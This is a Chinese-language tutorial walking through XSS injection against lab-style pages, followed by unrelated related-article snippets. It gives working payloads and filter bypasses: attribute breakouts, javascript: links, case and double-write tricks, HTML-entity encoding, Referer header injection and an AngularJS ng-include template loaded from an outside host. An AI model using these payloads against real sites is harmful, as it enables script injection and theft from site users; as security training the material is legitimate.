XSS攻击(3), 实战XSS注入思路

XSS注入, XSS实战思路

一, 可以输入文本或直接在url后面提交参数.

网页源码:

<input name=keyword value="">

对于这种input标签, 首先可以考虑使用 onclick 等事件来执行js.
先输入 <> , " , onclick() 等等提交, 查看页面源代码.
如果输入的符号没有被转义或替换, 说明前面可以闭合, 进一步测试.

1. 首先考虑用 onclick() 等事件来执行js.

查看源码:

<input name=keyword value="<>">

输入payload:

" οnclick="alert(1)

查看源码:

<input name=keyword value="" onclick="alert(1)">

这时前面的value被闭合, 后面多了一个事件, 单机文本框即可弹出.

2. 事件不能用时, 考虑用<script>标签来执行js.

如果输入的 onclick 被替换为 o_nclick 等其他字符.

查看源码:

<input name=keyword value="" o_nclick="alert(1)">

前面value虽然闭合了, 但是后面无法执行事件. 那么可能一些类似的事件都被防御了.
此时考虑将前面的input标签整体闭合掉, 后面自己再构造一个新的<script>标签执行js.

输入payload:

"/> <script>alert(1)</script>

查看源码:

<input name=keyword value=""/> <script>alert(1)</script>">

后面多出来的 "> 会作为普通字符显示, 不处理也没有关系.

3. <script>标签不能用时, 考虑用其他标签来执行js.

如果输入的

<input name=keyword value=""/> <scr_ipt>alert(1)</script>">

前面的input标签虽然闭合了, 但是后面的script标签被替换了, 无法执行js.
此时考虑使用其他标签, 比如<a>超链接.

输入payload:

"/> <a href="javascript:alert(1)">点我</a>

查看源码:

<input name=keyword value=""/> <a href="javascript:alert(1)">点我</a>">
4. 标签的属性也不能用时, 考虑使用大小写绕过.

如果输入的href属性被替换为hr_ef 等其他字符.

查看源码:

<input name=keyword value=""/> <a hr_ef="javascript:alert(1)">点我</a>">

输入payload:

" ONcLick="alert(1)

查看源码:

<input name=keyword value="" ONcLick="alert(1)">

点击输入框之后, ONcLick() 可以顺利触发事件, 执行js.

5. 大小写无法绕过时, 考虑使用双写绕过.

查看源码:

<input name=keyword value="" click="alert(1)">

这里看到防御措施将事件名替换成了click, 导致事件失效.
猜测规律是将所有的on替换为了空字符串.
那么使用双写将on分开来绕过防御.

输入payload:

" oonnclick="alert(1)

查看源码:

<input name=keyword value="" onclick="alert(1)">
6. Payload代码中的关键字无法使用时, 考虑 HTML字符实体绕过.

这里想通过<a>标签的href属性执行js.

输入payload:

javascript:alert(1)

查看源码:

<a href="javascr_ipt:alert(1)"></a>

这里javascript被替换, 考虑使用HTML字符实体绕过.
将字符串转换为字符实体可以使用在线工具, 比如:

https://www.qqxiuzi.cn/bianma/zifushiti.php

javascript:alert(1)转换为10进制或16进制都可以:

输入payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

查看源码:

<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></a>

点击超链接可以顺利执行js.

7. 如果HTML字符实体在链接属性中无效, 考虑添加//http://或//https://.

因为字符实体时没有尖括号或引号等特殊字符, 如果放在事件属性href中可以绕过检测.
那么防御措施可能使用正则表达式来检测, 要求在链接属性中必须包含http://https://, 否则判断为非法链接.
此时我们可以采用字符实体与http相结合的方式绕过并执行js.

前半段依旧使用js代码的字符实体, 但是注意 javascript:alert(1)后面需要多添加一个分号;.
后面添加//http://, 这里使用注释符号//http://变成普通的字符串, 这样就不会影响前面需要执行的js.

javascript:alert(1);转换为10进制:

输入payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;//http://

查看源码:

<a html
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;//http://">
</a>
8. Payload代码中的空格被替换为&nbsp; 时, 考虑用URL编码换行符 %0D, %0A绕过.

查看源码:

<center>test</center>

输入payload:

keyword=<img src=1 onerror=alert(1)/>

查看源码:

<center><img&nbsp;src=1&nbsp;οnerrοr=alert(1)&nbsp;></center>

这里发现空格被替换了, 导致事件无法触发. 接着尝试用%0A绕过.
输入payload:

keyword=<img%0Asrc=1%0Aοnerrοr=alert(1)/>
9. 失效的Flash控件.

对于失效的Flash控件, onclick() 事件无法触发, 考虑使用 onmousrover() 事件. 例如:

<embed src=xsf01.swf?a=b width=100% height=100%>

上面代码在网页中嵌入一个Adobe Flash文件. 因为在2020年底之后, 主流的浏览器已经不支持Flash文件,
所以浏览器会显示 显示该插件不受支持.

假设a与b是可控参数. 那么输入payload:

a=111&b=222 οnmοuseοver=alert(1)

当鼠标划过失效的flash控件时会触发js代码.

二, 隐藏的form表单

在页面中看不到任何可以输入的地方, 查看源码可以看到有隐藏的form表单.

<form id="search"><input name="link" value="" type="hidden"><input name="sort" value="" type="hidden">
</form>
1. 首先考虑利用value属性执行js.

从源码的form可以看出是get请求, 那么这里有两种办法提交参数测试:

方法一: 在url地址上直接拼接参数提交.
http://xxx/test.php?link=111&sort=222

接着查看源码:

<form id="search"><input name="link" value="" type="hidden"><input name="sort" value="222" type="hidden">
</form>
方法二: 打开F12工具, 修改代码, 添加一个提交按钮, 并去掉隐藏属性显示出输入框.
<form id="search"><input name="link" value="" type="text"><input name="sort" value="" type="text"><button>提交</button>
</form>

在输入框输入文本并提交后:

<form id="search"><input name="link" value="" type="hidden"><input name="sort" value="222" type="hidden">
</form>

那么从这里可以看出 value="222" 就是可以利用的位置.
接着使用payload测试能否执行js.
因为F12是临时修改, 这里的控件在提交之后就会还原成隐藏的, 所以后面使用一个 type="button" 属性来替换掉原来的 type="hidden", 这样控件就可以被点击触发事件了.

输入payload:

hello" οnclick="alert(1)" type="button

查看源码:

<form id="search"><input name="link" value="" type="hidden"><input name="sort" value="hello" onclick="alert(1)" type="button">
</form>
2. 如果value属性无法利用时, 考虑使用请求头注入.

在value提交注入后无效, 查看源码:

<form id="search"><input name="link" value="" type="hidden"><input name="sort" value="hello" onclick="alert(1)" type="button" type="hidden"><input name="ref"  value="http://xxx/text.php?ref=xxx"> 
</form>

从F12工具观察value的双引号颜色不同, 没有有效闭合, 无法执行js.
将payload提交到ref中发现也无法执行js.
猜测ref的值可能来自请求头中的Referer信息.

首先使用burpsuit或者firefoxLive HTTP headers插件拦截请求.
在请求信息中添加或修改Referer, 再发送请求.

输入payload:

Host: http://xxx/text.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: hello" οnclick="alert(1)" type="button

查看源码:

<form id="search"><input name="link" value="" type="hidden"><input name="sort" value="" type="hidden"><input name="ref"  value="hello" onclick="alert(1)" type="button" type="hidden"> 
</form>

那么同样的原理, 如果发现源码中 input 中存在类似 name="ua", "name=cook"等类似的命名,
也可以尝试拦截请求, 注入User-Agent, cookie 等请求头.

三, 利用 AngularJS ng-include 加载恶意模板

AngularJS 中,使用 ng-include加载内容时,该内容会被当作 AngularJS 模板处理,而不是普通的 HTML。
这意味着任何在加载的内容中的

如果在网页源码中发现引用了 angular.min.js, 代码中使用了 ng-include, 例如:

url: http://xxx/test.php?src=1.gif

查看源码:

<div ng-include="1.gif"></div>

接着测试src参数:

输入payload:

src=hello

查看源码:

<div ng-include="hello"></div>

那么可以确定这里的ng-include可以被控制.
接着准备一个包含恶意代码的Angular模板文件https://xxx.com/xss.html, 内容如下:

<div ng-init="evilConstructor = constructor.constructor; evilFunction = evilConstructor('alert(1)'); evilFunction()"></div>

通过src 参数可以加载它并触发alert(1).
输入payload:

src=https://xxx.com/xss.html

查看源码:

<div ng-include="https://xxx.com/xss.html"></div>

代码使用了 AngularJS 的双向数据绑定和 JavaScript 的 constructor 属性来创建并执行一个新的函数,
这会触发 alert(1)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/117069.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nginx 配置文件解读

一.配置文件解读 nginx配置文件主要分为四个部分&#xff1a; main{ #&#xff08;全局设置&#xff09;http{ #服务器配置upstream{} #&#xff08;负载均衡服务器设置&#xff09;server{ #&#xff08;主机设置&#xff1a;主要用于指定主机和端口&#xff09;location{} …

CUDA学习笔记(十四) Constant Memory

转载至https://www.cnblogs.com/1024incn/tag/CUDA/ CONSTANT MEMORY constant Memory对于device来说只读但是对于host是可读可写。constant Memory和global Memory一样都位于DRAM&#xff0c;并且有一个独立的on-chip cache&#xff0c;比直接从constant Memory读取要快得多…

【C++笔记】C++继承

【C笔记】C继承 一、继承的概念二、继承的语法和权限三、父类和子类成员之间的关系3.1、子类赋值给父类(切片)3.2、同名成员 四、子类中的默认成员函数4.1、构造函数4.2、拷贝构造4.3、析构函数 五、C继承大坑之“菱形继承”5.1、什么是“菱形继承”5.2、解决方法 一、继承的概…

数据结构-- 并查集

0. 引入 并查集是来解决等价问题的数据结构。 离散数学中的二元关系。 等价关系需满足自反性、对称性、传递性。 a ∈ S , a R a a R b & b R a a R b ∩ b R c > a R c a \in S, aRa \\ aRb \& bRa \\ aRb \cap bRc >aRc a∈S,aRaaRb&bRaaRb∩bRc>a…

【Opencv】OpenCV使用CMake和MinGW的编译安装出错解决

编译时出现的错误&#xff1a; mingw32-make[1]: *** [modules/core/CMakeFiles/opencv_core.dir/all] Error 2 Makefile:161: recipe for target ‘all’ failed mingw32-make: *** [all] Error 2解决方法&#xff1a; 根据贴吧老哥的解答&#xff0c;发现是mingw版本有问题导…

【JAVA学习笔记】43 - 枚举类

项目代码 https://github.com/yinhai1114/Java_Learning_Code/tree/main/IDEA_Chapter11/src/com/yinhai/enum_ 〇、创建时自动填入版权 作者等信息 如何在每个文件创建的时候打入自己的信息以及版权呢 菜单栏-File-setting-Editor-File and Code Templaters -Includes-输入信…

自动化测试07Selenium01

目录 什么是自动化测试 Selenium介绍 Selenium是什么 Selenium特点 工作原理 SeleniumJava环境搭建 Selenium常用的API使用 定位元素findElement CSS选择语法 id选择器&#xff1a;#id 类选择 .class 标签选择器 标签名 后代选择器 父级选择器 自己选择器 xpath …

2.1 向量与线性方程组

一、行图像与列图像 线性代数的中心问题是求解线性方程组。线性的意思是这些方程的未知数是一次的&#xff0c;即每个未知数只会乘数字&#xff0c;而不会出现 x x x 与 y y y 相乘的项。下面是一个由两个未知数组成的方程组&#xff1a; 两个方程 两个未知数 { x − 2 y 1…

关于QTableWidget的it所占内存的释放问题

说起QTableWidget&#xff0c;我们一般都是用QTableWidget进行数据显示或者使用QTableWidget其他控件组合进行设置。 这里主要说说数据展示&#xff0c;我们在进行数据展示时&#xff0c;数据量分为两种有限和无限。不管是QTableWidget中插入的数据有限还是数据无限。在数据多时…

【从0到1设计一个网关】什么是网关?以及为什么需要自研网关?

文章目录 什么是网关&#xff1f;网关类型网关的优缺点目前的网关解决方案有哪些&#xff1f;为什么要自研Gateway网关&#xff1f;自研网关需要注意什么&#xff1f; 注&#xff1a; 这篇文章作为我的网关的第一篇文章&#xff0c;并不涉及任何代码&#xff0c;只是提及了网关…

LeetCode 155. 掷骰子等于目标和的方法数:动态规划

【LetMeFly】1155.掷骰子等于目标和的方法数&#xff1a;动态规划 力扣题目链接&#xff1a;https://leetcode.cn/problems/number-of-dice-rolls-with-target-sum/ 这里有 n 个一样的骰子&#xff0c;每个骰子上都有 k 个面&#xff0c;分别标号为 1 到 k 。 给定三个整数 …

如何在国际腾讯云服务器上设置IP节点的密码?

跟着云计算技术的发展&#xff0c;越来越多的企业和个人开始运用云服务器来存储和处理数据。腾讯云服务器是一款非常受欢迎的云服务器产品&#xff0c;它提供了高效稳定的计算能力。在运用腾讯云服务器的过程中&#xff0c;咱们可能需求设置IP节点的暗码&#xff0c;以便维护咱…

杂谈:DC对Verilog和SystemVerilog语言的支持

DC对Verilog和SystemVerilog语言的支持 设计语言用哪种&#xff1f;Design Compiler对二者的支持简单的fsm电路测试测试结果对比写在最后 设计语言用哪种&#xff1f; 直接抛出结论&#xff1a;先有电路&#xff0c;后为描述。设计端而言&#xff0c;没有语言的高低好坏&#…

Gin vs Beego: Golang的Web框架之争

前言 Golang作为一门高效且简洁的语言&#xff0c;已经在Web开发领域得到了广泛的应用。Gin和Beego是Golang中两个著名的Web框架&#xff0c;它们都提供了一系列强大的功能&#xff0c;帮助开发者构建高性能的Web应用。本文将对Gin和Beego进行全面的对比&#xff0c;帮助开发者…

SQL SERVER连接oracle数据库几种方法

--1 方式 --查询oracle数据库中的表 SELECT * FROM OPENDATASOURCE( MSDAORA, Data SourceGE160;User IDDAIMIN;PasswordDAIMIN )..DAIMIN.JOBS 举一反三&#xff1a;在查询分析器中输入&#xff1a; SELECT * FROM OPENDATASOURCE( MSDAORA, Data SourceORCL;User…

vite.config.js文件配置代理设置VITE_APP_BASE_API

.env.development文件 ENV development # base api VITE_APP_BASE_API /dev-api.env.production文件 ENV production # base api VITE_APP_BASE_API /apidefine: {process.env: {VITE_APP_BASE_API: https://xxx.com}},server: {hmr: true, // vue3 vite配置热更新不用手动…

妙手ERP功能更新丨Shopee全球产品支持使用定价模板修改价格、Ozon新增SKU模板 、Temu采集箱支持添加货源链接......

为了给卖家朋友带来更好的使用体验&#xff0c;更高效地运营跨境店铺&#xff0c;妙手ERP在近两周优化了以下多项功能。 01、平台授权模块 TikTok - 支持授权美国跨境店及ACCU店铺&#xff0c;TikTok平台各功能均可使用 02、产品模块优化 全平台 - 支持产品重量单位切换 Sho…

Java架构师内功数据库

目录 1 导学2 数据库基本概念2.1 数据库系统2.2 三级模式-两级映像2.3 数据库设计2.4 数据模型2.4.1 E-R模型2.4.2 关系模型2.5 关系代数3 规范化和并发控制3.1 函数依赖3.2 键与约束3.3 范式3.3.1 第一范式1NF3.3.2 第二范式3.3.3 第三范式3.4 模式分解3.5 并发控制3.6 封锁协…

centos搭建elastic集群

1、环境可以在同一台集群上搭建elastic&#xff0c;也可以在三台机器上搭建&#xff0c;这次演示的是在同一台机器搭建机器。 2、下载elastic &#xff1a;https://www.elastic.co/cn/downloads/past-releases#elasticsearch 2、​​​​​​ tar -zxvf elasticsearch-xxx-版…

KNN(K近邻)水仙花的分类(含答案)

题目 以下采用K-NN算法来解决水仙花的分类问题&#xff0c;每个样本有两个特征&#xff0c;第一个为水仙花的花萼长度&#xff0c;第二个为水仙花 的花萼宽度&#xff0c;具体数据见表&#xff0c; 1&#xff09;设置k3&#xff0c; 采用欧式距离&#xff0c;分析分类精度为多少…